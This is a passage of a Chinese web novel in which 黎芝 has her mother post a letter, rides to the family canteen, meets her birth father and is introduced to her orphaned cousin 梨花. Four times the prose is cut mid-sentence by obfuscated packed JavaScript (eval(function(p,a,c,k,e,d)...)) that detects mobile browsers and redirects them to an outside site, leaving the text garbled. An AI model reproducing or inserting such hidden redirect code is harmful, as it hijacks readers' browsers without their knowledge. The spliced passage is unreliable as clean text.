黎芝本来并不想把信件交给邮局工作人员之外的人,但余庆的态度莫名地具有说服力。 犹豫片刻后,黎芝还是把自己写好的那封准备寄给秋墨的信拿了出来。 “这就是我要寄出的信件了。”黎芝有些胆怯地说道,“虽然妈妈看起来不像是那样的人,但还是希望妈妈不要弄丢或拆开我的信件。确实地通过邮局寄出就好了,结局就交给‘命运’吧。” “那么,你现在着急寄信吗?”余庆问道,“如果你着急的话,我今天就给你寄出去。” “啊?这样方便吗?”黎芝看看天色,很惊讶地说道,“这样难道不会耽误妈妈的‘正事’吗?” “没关系的。”余庆说道,“我们家每天要做的劳动很少的,反正都有大把时间。不跑来跑去,只是休息的话,也一样是在浪费时间啦。” “真的吗?那真的谢谢妈妈了。”黎芝笨拙地回答道,“希望这封信可以顺利寄出。” 16. 第 16 章 “嗯,不用在意。这种事情没关系的哦。”余庆轻松地说道,“我现在就骑马去送信,还是我们吃完了饭再说?” 但是,由于不太明白状况的关系,对于这种事的决定,黎芝脑子里只有一片茫然而已。 “这个,我也不明白啊……”黎芝犹豫地说道,“对妈妈来说,怎样做才是更方便的呢?我不知道啊。我只是不太希望麻烦妈妈……” “没关系,不麻烦的。反正,每天都有大把时光可以浪费……”余庆思考了一下,又再说道,“如果是饭后去送的话,邮局的工作人员就会‘打烊’了。‘打烊’后投出的信件,他们明天才会处理,那样的话,岂不是浪费了一天?现在去的话,还来得及赶上今天的信件处理吧。嗯,决定了,我现在就去送吧!你在这里先等一会儿,我去去就回。” “那真是……非常感谢妈妈了。”对余庆的态度或是性格,黎芝感到非常惊讶。 明明是感觉生活节奏很缓慢的地方,余庆的性格却是那么迅速敏捷。 这让黎芝感到很不习惯。但她也因此,对母亲莫名地抱有肃然起敬的感情。 “不用谢。我可是‘你的妈妈’哦。”说话间,余庆就又骑上了马,她说道,“你收拾收拾,做好移动的准备吧。等会儿我回来的时候,我们就要准备开饭了哦。” “好的。我知道了,现在就……马上去。”依然不太适应余庆的节奏,黎芝只是呆呆地点了点头。 那之后,余庆便在黎芝的眼前,又一次离开了。 (还有性格是这个样子的妈妈吗?我第一次见到……) 虽然现在还没有看到余庆更多的优点,但黎芝相信,那些特性会像埋藏的宝藏一样、越来越多地浮现出来的。 而且,黎芝也已经渐渐接受了余庆身为自己母亲、对方与自己作为母女而存在的事实,并且因此感到非常愉快。 虽然性格上是与自己的养母完全不相似的人,但余庆作为母亲,意外地让黎芝感到可靠可信。 况且…… (这世界上,居然会有人,为了给孩子寄送一封信件,就在刚回来的时候,马上出去的吗?) 就连纯粹的虚构小说,感觉都不会写出这种剧情。 但这正是在黎芝眼前发生的事情。 使得黎芝的心中,充满了不可思议的感受。 (话说回来,妈妈是说,‘接下来就要准备开饭了’的意思吧?) 余庆的话,让黎芝觉得有些疑惑。 (这里,好像没有灶台啊……) 黎芝环顾四周,更加确认了自己之前的印象。 至少,在这一系列草屋组合的附近,黎芝是没有看到“露天灶台”这一类的存在的。 难不成在草屋里、自己没注意到的地方,隐藏着“炉灶”吗?黎芝对此也抱有怀疑。 而且,就算草屋里有炉灶,在那里真的可以做饭吗? (草屋可是典型的“易燃物”啊……在草屋里做饭,也太危险了吧?) (算了,不想这个问题了。反正,妈妈肯定不会骗我的……) (说是让我等着准备开饭,但其实也没有什么好准备的……) 也许因为天渐渐黑了的缘故,意识到时间的流逝,黎芝的心灵也随之有些疲惫了起来。 (那么,先休息一会儿吧……) 如果不是担心弄脏衣服的话,黎芝真想干脆直接坐在草甸子上算了。 (这里,连把轻便的椅子都不太好找呢……) 或许是因为黎芝调查的程度不够,还没有发现这种椅子的关系吧? 因为没有椅子的关系,黎芝只是傻傻地站在空地上,望着已经到了“狗屋”里休息的那条狗发呆而已。 猫也不知在什么时候跑掉了,连到哪里去了也不知道。 大概,它也是有黎芝看不到的“家”可以休息或是暂住吧? (这样发呆好无聊啊……) 在黎芝看来,应该没有什么事情,比“等待”更无聊的了。 这让黎芝感到,自己原本平稳松弛的内心,渐渐不耐烦了起来。 (也不知道要等多久……好想念妈妈。) 在黎芝的感觉中,对余庆的等待应该是一件漫长的事情。 但实际上,大约过了一炷香时间,余庆就已经回来了。 一炷香工夫,其实还是挺长的一段时间,至少与余庆之前宣称的“去去就回”不符。 不过,比起黎芝担心的漫长时间来,倒是又要短得多。 “好啦,你的信我给寄出去了!”余庆爽朗地说道,“邮局的工作人员,果然还没打烊。幸好是这样,你写信的对象可以早一天收到信件了呢。” “那可真是……”黎芝的脸红了起来,“太好了。谢谢妈妈。” 没有寄信之前,黎芝就只会思考寄信的事情。 但现在,因为寄信这件事,很简单就成功了的关系,不由得让黎芝陷入了某种遐想状态。 或者说,这不是“遐想”,而是对事实或未来的“推演”吧? 总而言之,这种“遐想”或“推演”,也让黎芝感到不安。 (以前明明从来不给那个人写信……他突然收到信的时候,会怎么想呢?) (他会感到烦恼吗?) (我是不是其实给他造成了困扰呢?) 想到这里,黎芝莫名地感到,自己有些烦躁不安、心慌意乱。 这种不安感,甚至使得她产生了现在去邮局把信拿回来,中止寄送的冲动。 算了,不可以这么思考。 就算写信会导致对方的困扰,“跑去邮局抢回信件”这种事,也依然太奇怪了。 黎芝用力晃了晃头,试图把自己奇怪的念头,赶到脑袋外面。 但是,余庆当然完全不知道黎芝的烦恼,她只是自然地说着下一步的安排。 “我们现在去吃饭吧。”余庆说道,“你爸爸已经做好饭了。” “啊?我爸爸?!”黎芝惊讶极了,她说道,“难道我们,不是在这里吃饭的吗?” (而且,爸爸原来是在其他地方做饭吗……)< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376558|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “当然。这里哪有厨房啊……”余庆懒洋洋地笑了,“你不觉得,这里根本就不是适合做饭和吃饭的地方吗?” (虽然确实是这么觉得的,但我只是觉得,这附近哪里都不适合做饭和吃饭啊……) “啊……虽然是这样的……但我还是没有意识到这一点,很吃惊啊。”黎芝呆呆地说道。 “那我换个问题。”余庆似乎没有注意到黎芝回答的重点,只是望着黎芝问道,“你觉得这里是吃饭的地方吗?” (并不是妈妈所说的那个意思啊……) “不是的。”黎芝表现得十分困惑,她说道,“我只是不知道能去哪里吃饭,才觉得奇怪的……我们能吃饭的地方距离这里远吗?” “还可以。我带你骑马去就行了。”余庆说道,“那个地方不算远。我们可以共骑一匹马,很快就到了。” (共骑一匹马吗?不知道安不安全。) (而且,是不是少了什么东西……对了!) “啊?妈妈是说‘共骑一匹马’的话,很快就能到吃饭的地方了是吗……但是……”黎芝很为难地问道,“这匹马只有一副马鞍,我要怎么骑呢?” “对,距离很近的。”余庆轻描淡写地说道,“‘共乘’是很简单的。虽然你没有马鞍可以乘坐,但是你只要抱着我的腰,贴紧我就行了。” (这么简单?妈妈确定吗?) 虽然并没有试过,但黎芝可是一想就觉得不简单。 但因为自认是外行的缘故,她只得无言地点头表示赞同母亲的意见。 “对了,你有自己的餐具吗?”也许是因为准备去吃饭的关系,余庆突然没头没脑地这么问道。 “有啊……”黎芝先是点点头,想了想又补充说道,“我有银制的碗、盘子、筷子、汤匙……这些都有。” “有这些就很好了。”余庆追问道,“那你有带刀来吗?” “带刀?”黎芝想了想,又困惑地问道,“‘水果刀’可不可以算啊?” “水果刀”在大夏,是一种新型的刀具。 它两指宽、一拃[zhǎ]长,是一种短短的小刀。 【注:拃[zhǎ]指的是手掌张开后,拇指与中指、或拇指与小指之间的距离。】 通常收纳在小巧的刀鞘中,用于给水果削皮及切割果肉。 “水果刀不行。那种刀太脆弱了,不适合切割硬物。”余庆摇摇头,说道,“罢了。反正,今天的食物,应该也不怎么需要用刀,别管这个了……那么,带上你的碗筷和汤匙,我们尽快出发吧。” “带几个碗啊?”余庆的指示不太清晰,让黎芝有些困惑,她问道,“带几个碗才够用,我不清楚啊?” “两个也行,三个也行。看你自己的想法吧。”余庆说道,“这个主要是取决于,看你习惯用几个碗吃饭和菜了嘛。而且,碗的大小也有影响。” “那我带三个吧。”黎芝想了想,简单地如此决定。 除了餐具之外,为了携带它们,黎芝还额外带上了一个粗布口袋。 17. 第 17 章 这种粗布口袋,本来是被设计成手提袋之用的。 因此,在它开口的附近,牢牢地缝制着两个提手。 不过,因为准备骑马的关系,黎芝把两个提手当成了两根绳子。 她先把提手捆绑在一起,之后又扎紧了袋口。 这样的话,里面的东西就不会滚出来了。 最后,黎芝还把提手余下的部分,穿过、缠绕并捆在了自己的手腕上。 在这种情况下,即使策马飞驰,口袋应该也不会掉落丢失。 当接触到那些不熟悉的事情的时候,黎芝一直都是这么小心谨慎地行事的。 然后,黎芝面对的事情,就是“准备骑马的时刻”了。 (嗯……该说是“情理之中,意料之外”的展开吗?) (虽然只是被人带着骑马而已,但果然也并不是一件容易的事情啊。) 黎芝不由得在心里感慨起来。 余庆口中,所谓的“简单”……应该只是对于她本人来说的“简单”罢了。 非常可惜的是,母亲并不能完全理解这种事对黎芝而言的难度。 考虑到这一点,黎芝甚至还觉得有些后怕。 不过,幸好结果还是好的。 母亲余庆,真是一位力气很大的女人。 虽然,笨拙的黎芝,是无法自行骑上马背的;但在余庆这一边,居然硬是把黎芝“托举”了上去。 而且,看起来,余庆的动作也并不算是勉强的。 因此,尽管凭自己的力量无法上马,但在这样的情况下,黎芝还是成功坐在了马背上。 这个结果,让黎芝有种不真实的幻觉感,甚至让她感到惊奇。 可惜,虽然上马这件事令黎芝惊讶地简单,但坐在飞驰的马上,却一点儿也不轻松。 (天哪。坐在颠簸的马车上,已经很让人难受了;骑在马上的感觉,居然比那还要难受……) (可能是因为我没有坐在马鞍子上的缘故吧?如果坐在马鞍子上可能会舒服得多……) 尽管没有根据,黎芝还是无奈地宽慰着自己。 (路途太长了……) 也许是因为实在太疲惫的缘故,这段行程对黎芝来说真是太漫长了,而且让她无暇在心里估算时间。 具体经过了多长时间,黎芝已经搞不清楚了。 反正,对黎芝来说,在这条路上花了多长时间,她已经漠不关心了。 此时的黎芝,脑子里所剩下的,只有“希望能尽快抵达目的地”这一个单纯的念头而已。 在经过了心理感知上很远的距离、很长的时间之后,那名为“大枣”的马,终于驮着母女俩,来到了一个有着三间大瓦房的院子里。 余庆下马之后,又轻轻松松地、把黎芝从马上抱了下来。 虽然,在这时产生这类的念头很奇怪……但余庆的动作,确实让黎芝产生了一种堪称“感动”的奇妙情绪。 在黎芝的记忆中,养母从来没有抱过她。 不仅如此,虽然没有根据,但黎芝强烈地怀疑,她在京城的时候,认识的所有同学,可能都没有被父母拥抱的经历吧? 至少,黎芝实在难以想象那些人被父母拥抱的样子。 虽然余庆只是因为需要移动黎芝才把她抱下来的,并不是真的为了拥抱她才抱下黎芝的,但黎芝仍然因此感到有些恍惚。 这一拥抱,不仅仅是黎芝从未有过的“经验”,而且,甚至是黎芝从未想象过的“可能”。 黎芝呆呆地站在原地。 黎芝现在的思绪有些凝滞。 当然,与刚才在马背上颠簸的经验无关,黎芝就是单纯地、对被拥抱这件事感到不习惯罢了。 但余庆显然不知道黎芝的想法,她只是用几句诸如“累坏了?”“没事吧?”“怎么傻啦?”“走几步就好了”之类的话语,将黎芝从呆滞中重新拉回了现实。 清醒过后,黎芝觉得自己刚才的发呆有些难堪。 她只得努力装作若无其事的样子,假装没注意到自己刚才在发呆的情况。 幸好,余庆多半也没有发现造成黎芝之前发呆的不自然原因,只以为不习惯骑马的黎芝,在马背上累坏了而已。 走上了十几步之后,黎芝感到腿上的肌肉不再僵硬,身体也有了力气,她已经可以自由活动了。 仔细观察四周,黎芝为眼前的景象惊呆了。 这些瓦房,虽然只有三间,而且都只有一层,但占地面积却非常大。 那是即使位于京城里,也相当于中等饭馆的大小的瓦房。 如果这些瓦房也是属于余庆与栗原家的财产的话,那余庆似乎说得没错。 家里不是富豪,但也绝不穷苦。 但……这么大的房子,到底是用来做什么的呢?黎芝感到有些困惑。 “这里是哪里?”黎芝惊讶极了。 既然余庆之前说要带黎芝来吃饭,那么,这里难道是“厨房”吗? 住在“草屋”那边的人,居然要到这么远的“厨房”来吃饭啊? 而且,既然有钱盖如此巨大的瓦房,又为何要盖那些寒酸的“草屋”呢,有什么特别用处或意义吗? 黎芝真的很难理解。而且,她甚至觉得,就算询问余庆,可能也无法得到自己所希望的回答吧。 “这个嘛,这是我家的‘食堂’哦。”余庆很是骄傲地说道,“住在这附近的话,早午晚都可以来这里用餐哟。” (住在这附近?妈妈和我对距离的感知果然不一样……) 意识到这种分歧,黎芝很是无奈。 (果然,住在这里的人,如果不会骑马的话,就等于是“寸步难行”了吧?) “……这里是‘食堂’吗?”在黎芝听来,余庆的话很多都无法理解,她问道,“这里难道不是我们家的‘厨房’吗?为什么我们不叫它‘厨房’呢?” “因为,来吃饭的人,也不只是我们自己家的人呀。”余庆笑着说道,“可能,你没有明白我的意思。我们家并不是单纯的牧民,我们是有‘副业’的。” “还有‘副业’?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376559|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎芝不可思议地反问道,“妈妈,我们家的‘副业’是什么呢?” “我们家的‘副业’就是‘民宿’。”余庆说道,“我们家开着一种特殊的‘旅店’。可以供路过的人就餐、休息或住宿哦。” “我没听懂……到底是‘民宿’还是‘旅店’啊?”黎芝好像听说过“民宿”这个词儿,但她从来没有接触过实物,也不太清楚具体是什么意思。 “怎么了?”余庆说道,“莫非,你不知道什么是‘民宿’吗?‘民宿’就是家庭式的‘旅店’啦,让你暂住的那些草房子,就是我们家的‘民宿’了。” 经过余庆的解释,黎芝才勉强把已知的信息拼凑在了一起。 “现在算是知道了吧……”黎芝无奈地说道,“对此,我确实是一知半解,但我觉得重点不在这里。我……” 看着眼前的一切,心直口快的黎芝本来想开口说点什么。 但她突然意识到,自己观察到的事实并不令人愉快,于是,欲言又止。 这反而引发了余庆的好奇,她问道:“你想说什么?怎么不往下说了?没关系的,说吧。” (可以说吗……这应该说吗?算了,既然是妈妈让我说的,那我就说吧。) “我觉得,有点儿奇怪啊。”于是,黎芝认真地开口说道,“妈妈,我们家的‘民宿’挣钱吗?在我看来,似乎并没有客人来住宿啊?” “现在算是‘淡季’吧。”余庆有些遗憾地说道,“等到了‘旺季’的时候,就会好的多了。” (我不太懂……但夏天也是旅游的“淡季”吗?而且,草房子到了冬天岂不是会很冷……) “那什么时候是‘旺季’呢?”黎芝依然感到懵懂困惑。 “人来的多的时候,就是‘旺季’了哦。”余庆说道。 (好吧,所以根本就没有什么“旺季”或是“淡季”吧?完全是看生意红火不红火而已……) 黎芝勉强理解了余庆的意思。 (总觉得,妈妈有些自欺欺人呢……) “那到了‘旺季’的时候,会怎么样呢?”黎芝继续问道,“旅客们,为什么要住在那些‘草房子’里呢?有什么优势吗?” “因为我们有时会搬家,‘草房子’很快就可以盖起来,‘瓦房’就不能带走了。”余庆说道,“而且,盖草房子的地方,距离大道也比较近,位置适合住宿嘛。” (所以,原来不是因为“草房子”有什么卖点,而是盖起来方便吗?) (总觉得妈妈说的“民宿”计划,听起来就不能挣钱啊。真的没问题吗?) (不过,反正听起来成本也不高,甚至可以说是零成本,所以爸爸妈妈就根本不在意挣不挣钱了是吗?) “这样啊……”黎芝笨拙地回答了一句,然后不知道如何接话了。 (这样聊天也不是办法,还是尽快换个轻松点的、令人愉快的话题吧。) 黎芝停顿了片刻,想了想,又再问道:“那么,‘食堂’里一般都做什么食物呢?只告诉我今天的菜色也可以啦。” 18. 第 18 章 “因为最近几天都没有客人,所以,做的就只是我们家人喜欢的菜肴了。”余庆说道,“至于今天的晚餐是什么嘛,你等一下不就知道了吗?” “那太好了。我们什么时候吃饭啊?”没听到想要的信息,黎芝只得随口问道。 “现在就可以开饭了,你也该饿了吧?”余庆关心地问道。 “我明白了,谢谢妈妈的关心。”黎芝点点头。 她对接下来的晚饭很是好奇。幸好,这种好奇心很快就可以被满足了。 结果,晚饭是在三间大瓦房里,居中的那间房子里面吃的。 (既然是三间房子,把厨房安排在正中央不好吗?) 对于厨房设在一端这件事,黎芝感到很别扭。 可能,这是传说中的、“强迫症”的症状吧? 明明知道,无论在哪间房子里吃饭,结果都不会有什么区别,但黎芝就是忍不住会去在意。 但比起“在哪间房子里吃饭”这种小事,某一件让黎芝重视而又紧张的事情,才是真正的“大事”。 此时此刻,黎芝第一次见到了自己的生身父亲。 栗原。 他的头发黝黑而微卷,眼眸的颜色却很浅淡,是一种奇异的琥珀色。 值得一提的是,栗原有一双长而微卷的睫毛,浓密到令人觉得长在男子身上有些不可思议的程度。 这一特征,让黎芝觉得是两人身为亲生父女的铁证。 黎芝自己也有一套又长又浓密的美丽睫毛,应该就是缘自父亲的遗传吧? 不过,虽然黎芝有着与父亲相似的长睫毛,但她的头发和睫毛却都是笔直的。 这一点,让黎芝感到有些遗憾,虽然她并不想要卷发,但她喜欢略带卷曲感的长睫毛。不过,这也是无法强求的事情。 而栗原的脸色,则是红而微黑,看上去,是被日光晒的很厉害的、中年男子的外貌。 但不可思议的是,即使遭受岁月与风霜的摧残,栗原看起来依然是十分精神抖擞、充满活力的。 他的身上,仿佛会静静散发出充满力量的强势光芒一般。 与余庆有些相似的是,栗原也不能说是一个“慈父”。甚至与之相反,看起来全然不是温文尔雅的性情,而令人感到有些冷漠了。 但这可能也正是栗原的优点。他让人感到意志非常坚定、难以被打倒,有种“硬汉”的特色。 这让黎芝感到有些惊奇和不可思议。 在黎芝的世界里,栗原也是未曾出现过的人物类型。 总的来说,黎芝与父亲的初次见面,彼此印象似乎还不坏。 尽管如此,黎芝依然非常紧张,她几乎没有和父亲说过话。 只能等自己松弛下来、消除紧张感之后,再考虑与父亲拉近距离了。至少,黎芝是这么计划的。 除了黎芝与父母,餐桌边还有另外一个人。 (妈妈怎么没有提到过这个女孩?难道在妈妈心里,这女孩不属于我们家的人吗?) 黎芝望着这个小姑娘,心里微微有一些慌张。 (她不会是爸爸的“私生女”吧?不,应该不会的。虽然不了解爸爸,但是爸爸看起来不像是会做出那种事情的人……那么,她到底是谁呢?) 意料之外的困惑,让黎芝格外紧张。 这似乎是一个比黎芝小上两三岁的小姑娘。 实际上,仅仅从外表上看的话,黎芝觉得就算认为小姑娘是自己的同龄人,似乎也没有什么问题。 但草原上的人,通常会比较显老。 因此,在这个女孩是否真的是自己的同龄人这一点上,黎芝也不能确定 所以,黎芝暂时就保守地认为对方比自己小了。 不知是否风吹日晒的关系,女孩的皮肤也不算白皙。但作为牧民,应当算是拥有很光滑细致的肤质了。 她也有一双漂亮但颜色偏淡的大眼睛,以及很长的卷睫毛。 她的头发也是卷卷的,令人联想起那种卷毛的宠物小狗。 乍看上去,有着卷毛与眼瞳颜色偏淡特征的这个女孩,与黎芝父亲栗原的外貌特征确实有些相似,但又不太一样。 黎芝父亲栗原的头发是黝黑的,但女孩的头发却没有那么黑,而是呈现出类似棕褐色的色调。 女孩的外貌特色,基本就是这样了。 黎芝会担心对方是父亲的“私生女”,也确实是有理由的。 “这是我的……妹妹吗?”黎芝有些胆怯地问道。 “嗯,算是吧。”栗原回答道。 当黎芝开口的时候,他与余庆不约而同地看向小女孩,随后又转过了头看向黎芝。 “算是吧?”黎芝很困惑地问道,“‘算是’是什么意思啊?” 当黎芝开口提到“妹妹”这个词的时候,余庆的脸上没有一丝不悦或是其他的古怪表现,似乎在说明她并不讨厌那女孩。 黎芝捕捉到了余庆对待女孩的平静态度,心情也随之稍微安定了一些。 (难道她是被爸爸和妈妈“收养”的孩子吗?那我应该对她好一些……) 不过,母亲为什么之前没有提到女孩的事情呢?想到这点,黎芝果然还是感到很介意。 “她是你的表妹。”栗原严肃地说道,“是你姑姑留下的‘遗孤’。” “我姑姑留下的‘遗孤’?”从发音上说,栗原说的话有一些拗口,黎芝重复了一遍之后,才弄明白父亲的意思。 “对啊,是你姑姑留下的‘遗孤’啊。”余庆看向黎芝说道,“你是姐姐,你要照顾妹妹,明白吗?” “啊……我……”听懂了父母的意思之后,黎芝一时结巴了起来。 再度看向这个卷发的小女孩时,黎芝简直紧张到了极点。 (让我照顾这孩子?可我也是需要被照顾的对象啊……) 并不是排斥这种安排,听说那女孩是自己姑母留下的“遗孤”的时候,黎芝甚至对她充满了同情。 但是,对黎芝来说,做照顾人这种事真的很难。 黎芝的嘴唇和牙齿,都跟着颤抖了起来。 “我不知道我能不能胜任……”黎芝极度紧张地说道,“我以前没有照顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376560|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过人啊……爸爸妈妈,是真的想让我照顾她吗?” “是真的。”栗原点了点头,又说道,“但你要是特别不愿意的话,就算啦。” (我照顾人?真的假的?) 即使已经不是第一次听到这个要求了,但黎芝仍然感到有点心慌意乱。 坦白地说,黎芝实在是一个有些不擅长人际关系的人。 这一点,从在原本的黎家里待着的时候,与家人关系不冷不热的表现,就能看出来了。 迄今为止,黎芝经历的社会关系,其实也非常之简单。 只有原本那个家庭、原本的亲戚,以及自己的学校这几类而已。 其他可以算得上社会关系的,最多,也只有邻居与常常光顾的店铺罢了。 在黎家生活的时候,在同辈人里,黎芝的年纪是最小的,她习惯了做妹妹的感觉。 当姐姐去照顾人的话,这实在是黎芝没有过的经验。 光是思考这件事,就让黎芝的心里有些惶急。 但她也知道光慌乱也没有用,得想个“解决办法”,让自己不那么慌张才行。 该跟这个“姑表妹妹”自我介绍一下吗?还是说点什么…… 黎芝正要自我介绍的时候,突然想起了被她暂时遗忘在脑后的“社交礼仪”。 两个不认识的人,需要互相自我介绍的时候,规则似乎应该是“低位者先行”“位尊者有优先知情权”才对。 换句话说,两个表姐妹初次见面的时候,应该是“妹妹”先向“姐姐”自我介绍、问好才对。 因为当惯了“妹妹”的关系,黎芝习惯性地就沿袭了以前的习惯,想要先自我介绍,但这似乎不符合社交礼仪。 不过,黎芝也觉得,草原这边的人,可能比较随性,不按照京城的习惯来也说不定。 但总之,先静静观察一下情况吧。 黎芝故作镇定地望着卷发女孩。 虽然已经做好了对方不懂礼仪的准备了,但女孩似乎比黎芝想象中要懂事一些。 卷发小女孩睁着大眼睛,望向黎芝。 “我、我叫‘梨花’。十七岁哦。”女孩用很可爱、但不太流畅的语气说道。 “梨花?”黎芝没能完全听明白女孩的名字,只得追问道,“你是姓梨、名花吗?还是说,名字是‘梨花’,另有一个姓氏?” “‘梨花’,就是‘栗花’哦。”卷发小女孩无邪地说道,“板栗的栗,鲜花的花。因为‘栗花’有点儿难叫嘛,所以就叫‘梨花’了。” (“大辉山”这边的人这么随意吗……连姓氏的发音都可以随意修改?) 超出常识的称呼方式,让黎芝有些迷惑。 “你是在想,‘为什么连姓氏的发音都可以随意修改’这个问题吗?”余庆突然问道。 (这都能猜到?妈妈是有“读心术”这种法术吗?不,应该只是碰巧吧……) 母亲的话让黎芝吓了一跳。 不过,她还是装作并不怎么惊讶的样子。 “嗯,没错,是有点在意啊……”黎芝点了点头。 19. 第 19 章 “我们这里,对名字的正确发音这种事,大概没京城人那么执著的啦。”余庆用慵懒但清楚的声音说道,“或者说,就连真名与绰号之间的差异,我们也很迟钝的。名字终究只是个代号,只要叫起来顺口、没有侮辱意味、而且大家都知道是指代某人或某物的话,那叫什么,其实都没有关系吧?你觉得呢?” “那倒也有道理……”黎芝点了点头,认同地说道,“妈妈说得对,我明白了。” “姐姐还没自我介绍呢,说一下吧?”梨花看着黎芝,天真无邪地问道,“对了,还有,我怎么称呼姐姐比较好呢,也说一下哦?” “我应该,是叫‘荔枝’吧?‘荔枝’的‘芝’是‘灵芝’的‘芝’,不过这并不重要。”黎芝平淡地说道,“我曾经叫过‘黎芝’。和你一样,我的姓氏发音,也是‘二声和四声可以随意更改’的,你想怎么叫都可以。无论是‘黎芝’还是‘荔枝’,在我的感觉里都差不多。我今年十八岁,比你大一岁,虽然身份上算是姐姐,但从年龄来看,我们应该算是同龄人吧?你不叫我‘姐姐’也没关系的。你叫我‘荔枝’或‘黎芝’就好啦,叫‘姐姐’的话,我反而不习惯呢。” “我知道了……姐姐……”梨花像是完全听不明白黎芝的话一样,自如地又重复叫了一遍“姐姐”。 (虽然并不讨厌这孩子,但是被她叫“姐姐”的感觉,还真奇怪啊……) “不用叫我姐姐啦。”黎芝摇了摇头,很无奈地说道,“我都说了,你叫我‘荔枝’或‘黎芝’就好了啦。” 长这么大,黎芝还是第一次突然被小孩子之外的人叫“姐姐”呢。 这种被叫“姐姐”的感觉,实在太奇怪了。让黎芝陷入了一种很不安心的状态。 “可是……姐姐本来就是姐姐啊……好奇怪啊。”似乎是因为被否定而难堪的关系,梨花的脸微微红了起来。 虽然梨花并非是那种皮肤白皙的少女,但她脸红的时候,脸色的变化还是很明显的。 梨花流露出有些难堪的模样,让黎芝多少感到有些内疚。 “你叫我‘姐姐’的话,我也很不习惯啊。”黎芝很窘迫地说道,“我还没当过‘姐姐’呢,真不适应啊。” “那……‘荔枝姐’可以吗?”梨花很勉强地说道,“不让我用‘姐’来称呼‘姐姐’的话,总觉得好奇怪啊……” “对我来说,‘荔枝姐’也挺奇怪的……”黎芝妥协地苦笑道,“好吧,既然你喜欢,那就先这么叫吧。” “好的,荔枝姐姐。”梨花清爽地点点头。 “你刚才是不是又用‘姐姐’叫了我?”黎芝觉得自己刚才听到的“姐”是两个音节,但她不确定自己是不是听错了。 梨花没有回答。 也许真的是黎芝听错了,也许是梨花认为黎芝的这个问题没有回答的意义。 四人所在的这个餐桌上,除了黎芝本人,似乎谁也没有把黎芝的问题放在心上。 (难道是我太过于斤斤计较了吗……算了。以后,再慢慢训练她不要叫我“姐姐”吧。) 黎芝微微皱起眉头叹了口气。 “好,自我介绍就先到此为止吧。”余庆打断了黎芝的思绪,她说道,“你们既然会待在一起,以后了解彼此的机会还有的是。先不要耽误时间,现在来吃饭吧。” “嗯,好的妈妈,我知道了……”黎芝顺从地点了点头。 “我给你洗洗碗吧。一会儿用这个碗筷给你盛饭。”余庆离开前,把黎芝一直抓在手里的手提粗布口袋接了过来。 “啊……谢谢妈妈。”黎芝想说自己就可以洗的,她转念一想,自己连水源都找不到,就别逞强了吧。 那之后,在给大家盛饭之前,余庆先给黎芝洗了碗。 三个银碗、一双银筷子、一把银汤匙都被洗净,重新拿了出来。 然后,余庆又问道:“你大概吃几碗食物?” “啊?”黎芝困惑地说道,“这个是要事先‘决定’的吗?” 自己吃几碗食物?黎芝一时还真的回答不出来呢。 毕竟,黎芝过去吃饭的时候,通常都是别人分给她多少,她吃多少的。 有机会表达出自己需要吃多少食物,这是很新鲜的体验,不过也让黎芝感到不太习惯。 而且,就算问“几碗”,也应该问“吃几碗饭”才对吧? “几碗食物”是什么意思嘛?真是令人难以理解…… 这种自己决定吃多少食物的进餐方式,对黎芝来说相当陌生。 她决定从今天开始慢慢适应,“大辉山”地区、以及这个家的种种奇妙习惯。 “当然。其实应该在做饭之前就问好才对,但我太忙了。”余庆坚定地说道,“不过没关系,今天做的晚饭,剩了也能吃。” (不是说好了我们家的人都不爱吃剩饭吗……这才第一天,就听到妈妈考虑“剩饭”的问题了啊?) 黎芝忽然感到有些郁闷。 (简直让人绝望……) 她不是因为需要吃剩饭而伤心难过。 只要一个人不能独立,那就都算是某种程度上的“寄人篱下”。 既是“寄人篱下”,当然“客随主便”,对方给什么就吃什么了。 虽然不喜欢吃剩饭,但如果知道这是避免不了的事情,也就会慢慢习惯了。 黎芝只是觉得,刚承诺过她不用吃剩饭的余庆,这会儿就在讨论剩饭问题了,因此造成的心理落差实在太大,因此一时很难接受罢了。 “你是不是听说要吃剩饭不高兴啊?”仿佛真有“读心术”一般,余庆突然这么问道。 “也……也不是特别不高兴……”黎芝尴尬地答道,“但是吧……还是多少有一点儿不开心的。” “放心吧。剩饭也分好吃或不好吃的呀。”余庆悠然地说道,“比如说,‘炒饭’‘煎饺子’‘烤馒头片’这些也都是剩饭吧。难道,你也觉得不好吃吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 